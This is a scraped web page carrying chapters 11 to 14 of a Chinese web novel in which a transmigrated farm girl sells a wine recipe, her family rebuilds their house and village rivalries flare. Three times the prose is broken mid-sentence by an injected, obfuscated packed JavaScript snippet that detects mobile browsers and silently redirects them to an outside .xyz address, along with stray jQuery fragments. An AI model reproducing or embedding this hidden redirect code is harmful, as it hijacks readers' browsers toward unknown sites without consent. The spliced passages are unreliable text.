“到底是不是京城里的贵人还不知道呢!只是那生气的架势方才我们都见过,吓人得很呢!” “这还用说吗?许掌柜京城里也有关系,现在只敢一叠声的躬身道歉,那贵人的来头还能小了?” “咱们小声些说,若是惹恼了贵人,捏死咱们还不跟捏死一只蚂蚁臭虫一样简单啊!少说两句,少说两句!” 霍荀听着众人的交谈,想着今日二姐儿的酒可能要卖不出去了,还是早些离开这是非之地吧!只是他往身边一看,原来乖巧待在自己身边的二姐儿竟被人挤到了前边去了! “二姐儿!二姐儿!”霍荀大急,连忙扯着嗓子喊了两声。 “谁在外头吵闹?听着让人心烦的紧。”一名身着紫衣做男子打扮的人倚靠在矮椅上,他举止洒脱自如,但眉宇间仍能看出一丝娇气,原来是个女娇郎。 “回禀小……公子,是个普通农人,想来是家中孩子不听话,与他走散了。”一旁的黑衣侍卫往外看了看,道。 “不过一粗人而已,雁儿何必与他置气,让李丰把他赶走就是了。”一名衣着华美的俊秀公子以折扇轻点手心,笑着说道。 “越哥哥,我一想到那程君昭托病不见,就气的胸口痛。那程家如今已家道中落,且我从未与这程公子见过面,如今我亲自前来,希望他能解除婚约,他却不识抬举,还如此轻-贱于我,我如何能忍得下这口气?”李雁娇恨声道。 周越走过来伸手把李雁娇揽在怀里,安抚道:“当年程大人在京中担任正二品右督御史一职,颇受先帝倚重,前途大好,想来李伯父也不曾料到他会因病辞官,回到这小小的平江县老家养老,等李伯父反应过来的时候,程大人已经去世了,这门婚事搁置了这许久,也是一笔糊涂账了。如今他程家最大的官儿不过区区县令,想来等他病好,定会登门拜见的。” “哼!越哥哥真信这程君昭生了病?”李雁娇抿着唇,嗔道。 “便是真让他病上几日又何妨?这几日我带雁儿四处游玩一番,玩够了,咱们再来与他算这笔账。”周越温柔道。 “好吧!就听越哥哥的。” 11. 赚钱 一个月前许掌柜因身子不适回了家中修养,如今的福客来酒楼是小许账房在管。不,如今要叫小许掌柜了。 小许掌柜心急如焚地在柜台处走来走去,此时忽然听到有人在唤他:“许账房。” 小许掌柜皱了皱眉,旁边的跑堂小厮见状连忙喝道:“你这小丫头乱叫什么?如今这位是咱们福客来的小许掌柜!” “那我就在此恭喜小许掌柜了。”霍婉笑盈盈的说道。 小许掌柜回过头,看见了正在走过来的霍婉。拜他良好的记忆里所赐,小许掌柜几乎是瞬间记起:她就是不久之前参加账房赛事,会珠心算的二姐儿姑娘。 “二姐儿姑娘今日怎么过来了?我现在有些忙不开身,就不招待二姐儿姑娘了。”小许掌柜缓了脸色,但语气实在算不上好。 “小许掌柜,我方才在外面听着,说是京城里的贵人对店里的酒菜有些意见?”霍婉道。 “什么贵人,不过是借势来耀武扬威出口气罢了。”小许掌柜嘟囔了一句,耐着性子回道:“是我店里的酒入不得他们的眼,那李公子想要饮些甜酒,我奉上了店里最好的花露,她不过只饮了一口便说此酒难以入口,一连试了几种,都不堪入李公子尊贵之口。” 霍婉闻言倒是眼前一亮,忙从背篓里拿出那一坛葡萄酒,笑盈盈的道:“小许掌柜不妨瞧瞧我这浮香酒。” “浮香酒?”小许掌柜看了一眼那坛子,一眼就认出了这是最普通常见的陶坛,里头能装了什么好酒?罢了罢了,如今店里的酒已尽数拿出,都没能入他们的眼,不如看看二姐儿拿过来的酒。 “店里可有琉璃杯?”霍婉问道。 “有倒是有……”小许掌柜抿了抿唇,对着伙计摆了摆手,不多时,一只精巧漂亮的琉璃杯被奉了上来。 霍婉小心的打开酒封,从店里拿了一个干净的分酒勺,轻轻倒了一碗葡萄酒出来,再用那勺子分别把葡萄酒舀进琉璃杯里。 “小许掌柜请看,这边是浮香酒。” “这!!”小许掌柜震惊的看着这杯透亮如宝石一般的紫红色液体,浆果特有的甜香气息迎面而来,他小心的抿了一口,入口甜香,带着一丝淡淡的酒香气,这,这是果酒? “二姐儿姑娘,此酒从何得来?”小许掌柜放下酒杯,急忙问道。 “此乃家中不传之秘。”霍婉轻声道。 “那二姐儿姑娘,这浮香酒你可愿意割爱?这一坛先卖给我,秘方之事等此间事了,咱们再做详谈。”小许掌柜急忙道。 今日霍婉来县城里本就是来卖这葡萄酒,如此她并没有拿乔,只微微笑了笑:“我拿酒出来自然就是为了卖的。” 小许掌柜听她这么说倒是安心不少,“二姐儿姑娘这浮香酒我闻所未闻,今日又会救我这一遭,我便给个实在价,五两白银,如何?” 福客来的一坛花露是五两银子,如今肯给这浮香酒开价五两,可见小许掌柜是真的急了。 霍婉闻言旋即笑道:“小许掌柜真是个爽利人!五两便五两!” 小许掌柜见她并未趁机出个虚价宰他一笔,瞧着霍婉真是处处满意,会珠心算,不唯利是图,性子又爽利,如此便生了一股亲近之心,抚掌笑道:“那咱们就说定了!若是二姐儿不嫌弃,就叫在下一声许叔吧!” 霍婉见小许掌柜举止洒脱大气,见她着布衣也并无轻视之意,她微微一笑,“多谢许叔。” 小许掌柜得了这葡萄酒,火急火燎的找了伙计拿出一套一瞧便不是凡品的酒壶,把那葡萄酒小心翼翼的倒进酒壶内,然后在托盘上放上两个琉璃杯。 见霍婉还在一旁站着,小许掌柜拍了拍脑门:“瞧我这一通乱忙竟是忙忘了,快,快些给二姐儿找处雅座,拿些好点心出来照顾着。”然后从账上点了五两银子,塞进了霍婉的手里。 “二姐儿且先坐着,我去去就来。”小许掌柜道。 “许叔自去忙吧。”霍婉回道。 那厢霍荀见二姐进了福客来,急急忙忙挤到前面去,生怕二姐儿被波及,有个三长两短可怎么好? 只是才挤进店里,他他他瞧见了什么?那小许掌柜二话不说就把那酒买下了,还直接付给了二姐儿五两银子? 霍婉把银子装进袖兜里,然后转身回去要找霍荀,只是还没走到门口,便听到一旁霍荀正喊她。 “二姐儿!” 霍婉连忙跑过去,挽住了霍荀的手臂。霍荀见状也不好发火,那眼尖的伙计见兄妹二人必是有话要说,连忙带兄妹二人去了雅座包间里。 一关上包间的门,霍荀就严肃道:“二姐儿!你方才多么危险!人这么多不好好抓紧哥哥的手,还一个人跑到这酒楼里,幸好你没事,若是你被波及,百年之后我可要怎么跟爹娘交代?” “哥哥,是我错了,哥哥别气。”说着霍婉献宝一样把五两银子从袖兜里拿出来:“哥哥瞧,浮香酒卖掉了。” 霍荀见她认错态度良好,心头的担忧气愤也散了大半。“下次若你再这样,哥哥再也不带你来县城了!” “哥哥放心,我下次一定不会了。”霍婉保证道。 “二姐儿,哥哥在家中便想问你了,你是何时学会的酿酒?”霍荀看着手中霍婉塞过来的五两银子,问道。 “哥哥可还记得爹留下的那本书?书里记录了很多东西,这酿酒方子便是我从上学来的。哥哥嫂嫂平日里这么辛苦,我也想着能为家里做些什么。”霍婉低声道。 “是哥哥没本事,才劳二姐儿为家中如此费心。”霍荀叹息着说。 “哥哥千万不要这么说,自我在家,哥哥嫂嫂对我百般照顾疼惜,我一直感念心中。”霍婉笑着说。 这个高大的农家汉子闻言到底是红了眼,背过身悄悄抹去了眼角的湿润。 “小二哥,劳烦拿些纸笔来。”霍婉对着进来送点心的伙计说道。 那伙计速度很快的拿来一套纸笔,连墨都磨好了。 霍婉提笔极为详细的把啤酒、红葡萄酒以及其他果酒的酿造手法写 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14893705|160001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在了纸上,然后又写了一页当下酒类的改进滤酒工艺,待墨迹干净后放在了一侧。 等了约莫半个时辰的功夫,小许掌柜一脸轻松的推门而进。霍荀已经从霍婉的口里得知小许账房已经升为掌柜,连忙起身拱了拱手:“许掌柜。” “霍兄弟不必客气。”小许掌柜笑道:“今日多亏了二姐儿了!那贵人饮了这浮香酒后大为满意,此事已经解决了!” 霍婉也笑道:“恭喜许叔了。” “二姐儿,许叔这次就直说了,你这浮香酒你可愿意卖给许叔?” “不瞒许叔,这是我爹留给家中的酿酒秘方,据说是从西边蛮夷之国传过来的,浮香酒的颜色取决于所取原料,原料不同则酿酒步骤不同,酿成的成品的颜色,口感也不尽相同。”霍婉轻声道。 霍荀坐在一旁静静地听着,没有出声。 小许掌柜开店迎客,南来北往见了许多人,如此阵仗他就知道此事是由霍婉做主了。 “二姐儿,这浮香酒的方子,我愿出一百两银子。”小许掌柜顿了顿,直接说道。 霍荀桌下的手抖了抖,但仍旧没动。 “许叔,这纸上有我写的五种酒类的酿造手法,以及当下酒类的改进工艺,同时我向许叔保证,此秘方只供给许叔一人,出了这里,除了你,就再也没人知道这方子了。” 小许掌柜闻言,眼睛蓦然一亮。 “二姐儿,我便不跟你出虚招子了,你看二百两如何?”小许掌柜道。 “可以,许叔,那咱们就成交了。”霍婉笑盈盈的回道。 小许掌柜是个雷厉风行的人,当即从账房处支了二百两银票递给了霍婉,霍婉也不拿乔,把写的十分细致的秘方双手递给了小许掌柜。 小许掌柜看着这几页薄薄的酿酒秘方,心中颇为激荡,看来自己调去京城许家主支大有希望!这哪里是一份方子,而是他叩问主家的敲门砖! 在把兄妹二人送出酒楼后,小许掌柜招来伙计吩咐道:“快去县城里打听打听,可有谁家的酒庄兑出。” “掌柜的可是要饮酒?”伙计问道。 “蠢才,爷要饮酒何须打听酒庄,快去问,不拘选址,最好隐秘些的。”小许掌柜道。 “是!” 且说霍荀往前走着,越走越觉得脚下轻飘飘的。霍婉无法,拉着霍荀去钱庄兑了三十两白银装进背篓里,等霍荀坐在了回村的牛车上,这才慢慢回了魂。 等下了牛车后,霍荀拉着霍婉快步往家的方向走,霍婉哭笑不得:“哥哥,为何走的那般快?” 霍荀不语,只是一味往前疾行。 平日里从村口走过来需要一刻钟的功夫,今日只用了不到十分钟。霍荀进门后,一把拉过在扫院子的赵玉秋道:“秋娘,进屋来。”剩下院内的霍修远和霍婉面面相觑。 霍婉干脆从屋中拿出一本百家姓基础启蒙书,在院子中教着霍修远认字。 “远哥儿,这次该到了:孔曹严华,金魏陶姜……” 12. 盖房子 “夫君,何事如此着急?可是此行出了什么岔子?”赵玉秋柔声问道。 “秋娘,你看。”霍荀关好门后,直接把那背篓里的三十两白银一股脑的倒在东屋的矮桌上。 赵玉秋见状倒吸了一口气:“夫君,这是……” “这便吓到了?”霍荀把怀中的一百七十两银票轻飘飘的放在那堆白银上,“秋娘,你看。” 赵玉秋维持着呆愣的模样,瞪大眼睛看了一眼银票,又看了一眼霍荀:“夫君这是把咱们一家四口给卖了?” “秋娘你这是说的什么话?便是咱们肯卖,如何卖得了这么多银子!”霍荀压低声音:“这是二姐儿赚来的。” “二姐儿?”赵玉秋闻言豁然变了脸色:“二姐儿一个丫头,年龄小,如何能赚这么多银钱?难道说?” “秋娘,我还是不跟你绕弯子了,这是二姐儿从爹的书上抄下来的酒方子,一口价卖给了那店里的掌柜,所以才得了这么多银子。” “夫君,别的不说,单说这三十两白银,便能够咱们在村里翻盖了方子,还能顺带买上三四亩良田。”赵玉秋喃喃道。 “秋娘,你倒是提醒我了,咱家的房子快不能住人了,干脆约了几个相好的人家翻盖翻盖,你看可行?”霍荀笑着问道。 “行自然是行的,可这银钱毕竟是二姐儿……咱们总归要考虑到二姐儿的想法。”赵玉秋道。 “秋娘,这辈子能娶了你,是我的福分。”霍荀叹了一声,大手握住赵玉秋的小手:“二姐儿自然愿意的,回来的路上她已经说过,那书是爹留给我们一家子的,她还说自己小,留着这么多钱有什么用?便好好交代我这个哥哥,要全都给秋娘你管呢!” 赵玉秋闻言悬在眼里的泪终于滚落而下,她觉得自己这辈子值了,原想着在赵家受苦,嫁人后也大差不差,没想到竟能说上这么体贴的丈夫,小姑子虽然之前有些瞧不上她,可如今是真真切切的接纳了她,她觉得没有比这更好的日子了。 …… 次日一早,赵玉秋做好早饭就出门了,一个时辰后风风火火的回来,对着霍荀笑道:“今儿我出去找了几家邻居,都是手艺活比较好的,我跟她们说了咱们家想重新盖下房子,她们都应下了,乡里乡亲的,工钱也没多要。老赵家的说咱们既是要盖房子,就得另找个睡觉的地方,反正她娘家有一处闲置的院子,我跟她说好了,每月30文,你看可行?” 霍荀难得不正经了一次,拉起赵玉秋的手调笑道,“秋娘亲自出马为夫自然放心,我霍荀的媳妇儿就是最能干的!村里都没有能比得上!” 赵玉秋闻言红了脸,甩开手,“浑说什么!我去叫二姐儿他们俩起来吃饭!” 一家人吃了早饭,赵玉秋跟霍婉和霍修远说家里要盖新房子,霍婉很开心,霍修远这几日也过得很快乐,闻言多了些小孩子该有的活泼,高兴地蹦了起来:“新房子!新房子!” 赵玉秋先带着霍婉去把老赵家的房子简单收拾了一下,虽然许久未曾住人,倒也不是太脏乱。收拾干净后已经是下午了,霍荀则带着霍修远拿了几样常用的桌子椅子并一家人的被褥就搬了过来。 要知道,在古代,尤其是像清河村这样的山村里,盖房子可是一件大喜事。霍荀央老里正给选个吉利日子,里正捋了捋稀疏的胡须,定在了五日后。 霍荀比较朴实,加上现在家里的银钱也比较宽松,便找了几户处的比较好的人家,给的工钱也比较足。此时邻里人家的地都种完了,并没有什么活计做。听到霍家要盖房子,都十分乐意表示愿意来,且不说霍家人都憨厚实在,就冲这份情义上的照顾值得几家人来帮忙。 山里人能干,只不到三天,便拆了原来的旧房子,地基也打好了。 一般来说,若是哪家要动土动工,那么主家就得给一干工人管饭。而做饭食的事情,赵玉秋请了邻居家的赵婶子和她家的媳妇,霍婉也没闲着,时不时地帮着打打下手,本来赵玉秋想跟霍婉两个人做,但是霍荀心疼她们,便跟赵玉秋商量请了帮手来。 当天霍家便整治了一顿好饭食,因着一伙子人都卖力气干活,赵玉秋也不是那等抠搜的妇人,买了些大骨和细面,又特意去村里收了两块腌肉干,真是下了功夫的为他们做饭。吃的一干村人对着霍荀使劲夸赞了赵玉秋一番。 别说村里人,就是霍荀脸上也十分有光。要知道同村冯家盖房子的时候,那冯母就熬了一大锅的棒渣子粥,又十分稀疏,每人两块黑面饼子,给的工钱也是精打细算的,那冯家的房子盖下来,十来个大男人没有一个不瘦了一圈。家中有比较泼辣的妇人,就差指着冯母的脸骂她抠门了。 待地基长结实了,一伙人就开始干活。赵玉秋虽然精打细算,但也没想过从村人的工钱里克扣出来。夜里跟霍荀商量,反正邻里邻外,低头不见抬头见的,大家伙也都不容易,两人便定好每日的饭食都要带些荤腥,这工钱也比平日里略微丰厚了一些。 所以,这几家人给霍家干活也越来越卖力了。等到了晚上跟家里的婆娘一说,工钱优厚自然是悄悄话,只这饭食就值得人称道了。清河村就这么大,藏不住事儿,一来二去的,这霍家盖房子倒是盖出了个好名声。 且说霍婉,毕竟是从现代穿越来的,骨子里还是比较认同知识就是力量这句话的。她见霍修远实在有些读书的天赋,便跟哥哥嫂嫂说想要送霍修远去村中的学堂读书。 清河村有一个很小的学堂,教书先生也是一名秀才,姓韩。他不是本村人,而是随着家里娘子落在清河村的。村里人平日里活着便废去了七八分力气,哪里有余钱能让家里一串孩子去上学堂呢? 韩先生的束脩其实相较于县城里已经低很多了,两条干肉并一钱银子的束脩。但清河村的学堂里如今也只有五个孩子,能拿出束脩的人家基本都是清河村的殷实人家。 霍荀和赵玉秋自然是支持的,不说霍荀,他与二姐儿的爹是秀才,如今霍修远有天分,家中又有些银钱,他自然支持;赵玉秋则是在霍荀的耳濡目染下也比村人的媳妇多了些格局,所以霍修远上学堂一事就全票通过了。 如今家中房子也正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14893706|160001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常盖着,今日赵玉秋和霍婉都闲下来了。故而霍婉央了赵玉秋,说不如趁着现在去镇上,为霍修远置办些文房四宝和去学堂带着的学袋子,赵玉秋闻言喜的跟什么似的,姑嫂二人辞了霍荀后便出发了去了县城里。 约莫过了一个时辰,她们终于又来到了平江县城。 姑嫂二人走在宽敞的石板路上,赵玉秋感慨道:“这县城里跟咱们村就是不一样,眼见着就气派。”霍婉在一旁笑道:“以后若是碰着了机会,咱们一家子也搬到县城里来,往后远哥儿读书也便宜,若是兄嫂往后再添个侄儿侄女的,岂不更美?” 赵玉秋微红了脸,轻捶了霍婉一下:“净会打趣嫂嫂,这县城里虽好,赚钱也不大容易啊!咱们家底虽然近来丰厚了些,但总有一日银钱也会用尽的。” 霍婉调皮的笑了笑:“车到山前必有路,船到桥头自然直,到时候咱们家再想法子呗!” “嫂嫂说不过你。”赵玉秋点了点霍婉的额头,笑道。 这一路过来,姑嫂二人也有些饿了,赵玉秋选了一家规模中等的面馆点了两碗面,两人吃过后便来到了福客来。 刚一进去,霍婉便发现在柜台处站着一人,这人穿着打扮像是个清贵人家出来的读书人,一身蓝色绸缎,手持折扇,一举一动颇具风流。 周越看见走过来的农家小女子,没什么兴致的扫了一眼,嗯,模样生的倒是周正,可惜打扮的太寒酸了些。 霍婉十分不喜欢周越明目张胆的打量眼神,拉着赵玉秋就进了上了来时的雅间,跑堂的伙计见掌柜的一直念叨的二姐儿姑娘来了,忙迎上去笑道:“二姐儿姑娘可过来了,我们掌柜的念叨姑娘好些日子了!” 霍婉微微一笑:“这两日家里忙,有些走不开,许叔呢?” “姑娘先跟夫人去雅间稍微休息会儿,我这就去叫许掌柜的过来!”说罢招来一个伙计带着姑嫂去了上次的雅间。 不多时许掌柜就进来了,身后的伙计们每个人手里都拿着一小壶酒。 “二姐儿,这是许叔这些日子酿的浮香酒,你且尝尝看。” 霍婉按照先后顺序仔细品尝了一番:“许叔,这份酒糖分放的多了些,快成甜酒啦!” “这份的话,是葡萄有破损的吗?” “这份倒是不错,只是酿的时间近了些。” …… 霍婉一一品尝之后给出了相应的意见,又根据许掌柜的经营理念,稍微列举了前世一些大饭店的经营之道,比如说擦嘴的纸巾,换成了比较柔软的细缎子,缎子上绣上福客来的名字。又列举了一些常见的服务,直听得许掌柜面露惊叹。 他有些复杂地看着眼前的小姑娘,“二姐儿真乃商界天生之材也。” 霍婉有些不好意思的扯了扯赵玉秋的衣袖,赵玉秋握住霍婉的手,笑道:“许掌柜抬举了,只二姐儿的爹是个秀才,所以她倒是识得几个大字。家里的杂书又多了些,二姐儿天生好学,比较灵气,有时候这些稀奇古怪的想法总能惊到家里人呢!” 许掌柜点头表示赞同。 13. 二姐儿的故人 等霍婉忙完福客来的一应事宜后,姑嫂二人拎着许掌柜送的几样糕点离了福香楼,买完用作束脩的两条干肉厚,霍婉便拉着赵玉秋的手撒娇说要逛逛成衣铺子。女人谁不爱美?加上手里有钱,走出去也有了底气。赵玉秋微微一笑便应了她,喜的霍婉倒是乐了半天。 赵玉秋带着霍婉来到镇上一家不不大不小的成衣铺子,镇上的衣服跟自己做的真是不一样,虽然贵了点,但是质量和样式确是上乘的。 霍婉挑中了一件浅绿色加月白的齐胸襦裙和一件蓝色折梅的齐腰襦裙,又买了一匹浅绿色的料子。赵玉秋看上一件暗青色的袍子,又给霍修远挑了一件靓蓝色的衣衫,本来赵玉秋看中一件蓝色高腰襦裙,一问价格居然是几件衣服里最贵的,要350文。要知道霍婉两件衣服加起来才280文,一匹料子也只300文,这裙子也太贵了些。赵玉秋有些舍不得,霍婉有些无奈,现在她们也算是有点小家底的人,一件衣裳而已,留着逢年过节穿也是好的。不外乎霍婉这么想,因为这个时代对节日都极其重视,节日里人们都穿上自己认为最好看的衣裳。 霍婉直接就拿过赵玉秋看中的那件长裙,加上自己的两件裙子并那匹料子,拿出上次卖葡萄酒霍荀没收下的五两银子一并结了账。 赵玉秋接过包新衣服的布包,嘴上虽然一个劲埋怨霍婉乱花钱,但是心里十分的开心又感动。她为这个家总算没有白白付出,家里人都是好的,小姑也舍得给自己买衣服,这种一直付出得到回报的感觉真是让人开心。 人要衣装,古人诚不欺我。回到家,霍婉换上新买的裙子,赵玉秋又给她梳了个可爱的包包头,整个人显得清新又漂亮。 “小姑姑,你真好看!”霍婉一扭头,便看到霍修远一脸羡慕的看着自己。旁边还站着一个高高的男孩子。一手拎着个竹篓子,一手牵着霍修远看着自己。 这男孩是邻居赵婶子家的二小子,这人不太爱说话,但胜在踏实肯干。印象中这人好像叫赵胜。 霍婉弯了弯眼,笑道:“今儿嫂嫂也给你买了新衣服,还不快去试试?胜子哥这是?” “真的?”霍修远一下跳了起来,笑道:“那我先去了,姑姑,这是胜子哥哥带过来的山果,特别好吃哦!” 霍婉忙接过赵胜手里的竹篓子,“谢谢胜子哥,你先坐这,我去屋里拿点东西!” 赵胜年方十四,高了霍婉约莫一个头,呆呆地看着眼前明媚微笑的少女,一时间竟然有些移不开眼。 等霍婉出来,手里多了一个纸包,微笑着递给赵胜,“这是亲戚送的糕点,很好吃的,胜子哥拿回去尝尝,替我谢谢婶子!” 赵胜不好意思的挠了挠头,小声说了句“谢谢二妹妹。”就急慌慌地走了。搞得霍婉站在原地疑惑了好一会才进了屋。 小孩子年幼,穿上新衣服总想好好地显摆一番。霍修远拉着霍婉就在村子里转悠。才走到村后的小溪的时候,霍婉就看见几个跟自己年岁差不多的小女孩在洗衣服。 霍婉之前性格有些内向,又自恃身份,故而村里实在没几个说得上话的。此时她身上穿着新买的衣裙,跟正在洗衣服的几位小女孩相比,无疑是清秀又打眼,只慢慢走着,霍婉便感觉有好几道目光都在看她。 几个洗衣服的小姑娘互相用手肘捅了捅,其中一个穿粉色布裙的小女孩低声道:“看到没,这就是霍家那个女孩儿,穿的真好看!”粉衣女孩有些羡慕地看着霍婉,“那么好看的衣服,要是我也能穿穿就好了。” “是啊,真好看,肯定是从县城里买的。” “哎呦呦,羡慕了吧!你也让你娘给你去买一件啊!” “去去去!你又不是不知道我娘,她肯定不会花钱给我买衣服的!” “不过他们家不是很穷吗?怎么有钱给她买新衣服?” “切!说不定她家里怎么得的钱呢!看她穿那个样子,一点都不正派,像个小妖精似的!” 几人本来是小声的窃窃私语,突然一个极其不和谐的尖利嗓音大声说了这句话,有些鄙夷又有些恶意地看着霍婉,见几个小姑娘都在看她,顿时得意地看着霍婉挑衅道:“家里有几个钱就忙着穿新衣服,不知羞!有什么可显摆的?” 霍婉慢慢地看了那个女孩一眼,那女孩穿着样式也比较好看的衣裳,个子有些矮,站在那群女孩中间显然是最矮的一个。长相原本算是中等,不过这尖酸的样貌加上嗓音,给人感觉实在算不上好。她是里正家的小女儿孙蓉,这孙里正受村人尊敬,一辈子最大的心愿就是有个儿子,村里人家,若是没个男娃,那是被人指着脊背议论绝户呢!孙里正现下年纪大了,家中只有三朵金花。 村里人表面上不会说什么,可私底下可就不忌讳了。孙蓉从小在爹爹的叹息中长大,听得最多的一句话是:“蓉丫头,你咋就不是个儿子呢?”长年累月下来,孙蓉的脾性可说不上好,加上与二姐儿的“感情纠葛”,如今二人一见,自然针尖对麦芒。 霍婉淡淡一笑:“你有关心我衣裳的功夫,还不如想想怎么能有个弟弟。”说完就扭头欲走。 此时周文轩和周文雨正要往村口的郎中家去给周秀才拿药,听见河边有动静,兄妹二人便走过来看看,这一看不打紧,那里正的小女儿孙蓉脸色难看地正在捡石头,而她对面正是兄妹二人许久没见的霍婉。 周文轩和周文雨对望一眼,此时霍婉面色淡淡,身上穿着好看的衣裳,正面色淡淡的看着孙蓉。周文轩心道不好,忙小跑过去拽了霍婉一把,所幸及时,那块石头不偏不倚的正好砸在周文轩的胳膊上。 孙蓉一见是周文轩,脸色更差了。他周文轩跟自己都那样了,如今还敢当着自己的面对这个死丫头拉拉扯扯,一时间嫉火冲昏了头,孙蓉不管不顾地吼道:“周文轩,你干什么?难道你惦记着霍婉吗?” 周文轩闻言手像是被烫到一般,连忙松开了。 孙蓉看着他脸上为难的表情,火更大了,直接对着霍婉开炮道:“霍婉,光天化日你就勾着周家哥哥替你受罪,以后可还了得!难道你心里还妄想着嫁给周家哥哥不成?” “有病便去治,别跟条野狗一样随便咬人。”霍婉道。 “你……!” 周文轩听了这话惊讶地抬头,见霍婉眸光平淡的望着他,他喏喏道:“婉儿,你……我好久没看见你了,你还好吗?” “我跟你很熟吗?别这么叫我。”霍婉看了一眼这个导致二姐儿意外的罪魁祸首,有些厌恶的扭过头直接朝着家的方向走去。 “哼!装什么清高!我看她就是不要脸,还想扒着你不放。”孙蓉快步走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14893707|160001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来,宣誓主权般握住了周文轩的手。 “婉儿……她不是这样的人。”周文轩怅惘道,方才霍婉临走前看他那一眼,眼神里满是对他的厌烦之色,他们……再无可能了。 见心上人那么维护这个霍婉,孙蓉当即气红了眼,抹着眼泪便丝毫不顾的朝着山里的方向跑去。 “哥哥。”周文雨走上前来,扯了扯他的衣角,“蓉姐姐这么伤心,你快追上去看看吧!” “嗯……”周文轩也担心孙蓉出什么事,连忙甩了甩脑海里杂乱的念头,朝着孙蓉的方向追了过去。 这边霍婉回到家门口,赵玉秋正准备出门去找她。原来方才在河边洗衣服的小姑娘其中一个她爹爹在霍婉家帮忙盖房子,平时也能跟二姐儿玩儿上一会,担心她受欺负,就赶紧跑到霍家给赵玉秋报信了。 赵玉秋把霍婉上上下下看了一遍,直看的霍婉哭笑不得,再三表示自己没有受到欺负,听着自家嫂嫂碎碎念的话,她的心头不由得泛起一丝暖意。 如今自己算是彻底融入了这个家中,霍婉看着赵玉秋温柔的侧脸,也从心底开始接纳了这家人。这么想着,霍婉想要让他们过上好日子的心思更加坚定了。 到了晚上,霍婉先插好房间的门,坐在床边想了许久,到底要做些什么营生才好,既赚了银子,又不打眼。 自己靠着酿葡萄酒卖酒方子得了一笔意外之财,可这种机会可遇不可求,决计不是长久之计。若是像许掌柜一样开个酒楼,前期需要许多投资,再说家里人又不擅长做酒楼营生,小小的酒楼若是没有后台也是一件比较麻烦的事。 首先一家人搬到县城里那是必须的,霍婉早就想好了,村子里若是做些什么事,太打眼了,而且农户人家安全问题不太能保证。无怪乎她这么想,那秦老爷家里前些日子就遭了贼。若是做些香皂卖……这倒是个不错的主意,不过若是稍微懂行的行家用几次便能做出个大概来,毕竟这方子简单易做。 不过这倒是霍婉想左了,毕竟这个时代并没有她想的那么发达,就像她做的这些香皂,若是想要做出来必然是要靠着方子的。 此时咱们的霍婉陷入了深深地纠结,就在这种纠结中霍婉慢慢的睡着了。 第二日清晨,赵玉秋把霍婉叫起来,高兴道:“二姐儿快起来,隔壁赵婶子说今儿邻镇子上有个花灯集会,咱们一家子跟赵婶子过去逛逛吧!” 霍荀闻言摇了摇头,“今天我跟村长家里约好了,要去河边堵河道捉鱼,远哥儿呢?” 霍修远认真道:“娘,小姑姑,这次远儿也不去了,我跟献哥儿说好了一起去帮忙捉鱼呢。” “远哥儿,你不去可不要后悔哦!” 现在家里的银钱不是那么紧缺,赵玉秋那原本有些活泼的性格便现出来了。 “小姑姑教我的,男子汉一言既出驷马难追,我已经个献哥儿说好的事情,不能言而无信。”霍修远道。 听着儿子文绉绉说着话,霍荀和赵玉秋都笑了,这一切都是二姐儿的功劳,每天早上二姐儿都教远哥儿读书识字,时间长了远哥儿也明礼了许多,只待家中房子盖好后,远哥儿就要跟着韩先生去读书了。 姑嫂二人开开心心的聊着花灯集会上会有什么好玩意,此时谁都没想会遇到了这么一桩糟心的事。 14. 遇险 一家人用完早饭后,天色有些微微阴沉,赵玉秋、霍婉和隔壁的赵家媳妇打扮妥当,便坐了孙老头儿的牛车去往万安镇。 霍婉见孙老头儿便甜甜的喊了一声孙爷爷,喜得那孙老头儿说什么也不要赵玉秋多付出来的霍婉的车费,一路上赵玉秋和隔壁赵家媳妇儿因为这个没少打趣霍婉。 清河村去万安镇本来就没有大路,官府年年都以没有银子修路为由拒绝村人的请求。这一条长长的土路全是附近几个村子的人踩出来的小道。霍婉无奈地嘟囔一声:“这路可真难走。” 赶车的孙老头儿笑着接话:“二姐儿是没走过那更难走的路呢!坐好了!孙爷爷要加速了!” 清河村周围的山没有名字,约莫走了三刻钟,霍婉发现这山下有条长长的小河,河边的草十分茂盛,一不留神就会掉下去似的。似乎是走到了山的中间,霍婉觉得有点冷,稍微紧了紧身上的衣服。 “哎,二姐儿冻着了吗?来,孙爷爷这里带了一壶姜茶,快点喝上一口,省的得病不是。” 天色稍微有些暗了,孙老头靠路边停下,霍婉也没多想,拿起一旁的小碗倒了一碗喝了,赵玉秋把身上带着的包袱打开,拿了件衣服给霍婉披上了,孙老头儿拿起水壶又倒了两碗,递给赵玉秋和赵家媳妇儿各一碗喝了。 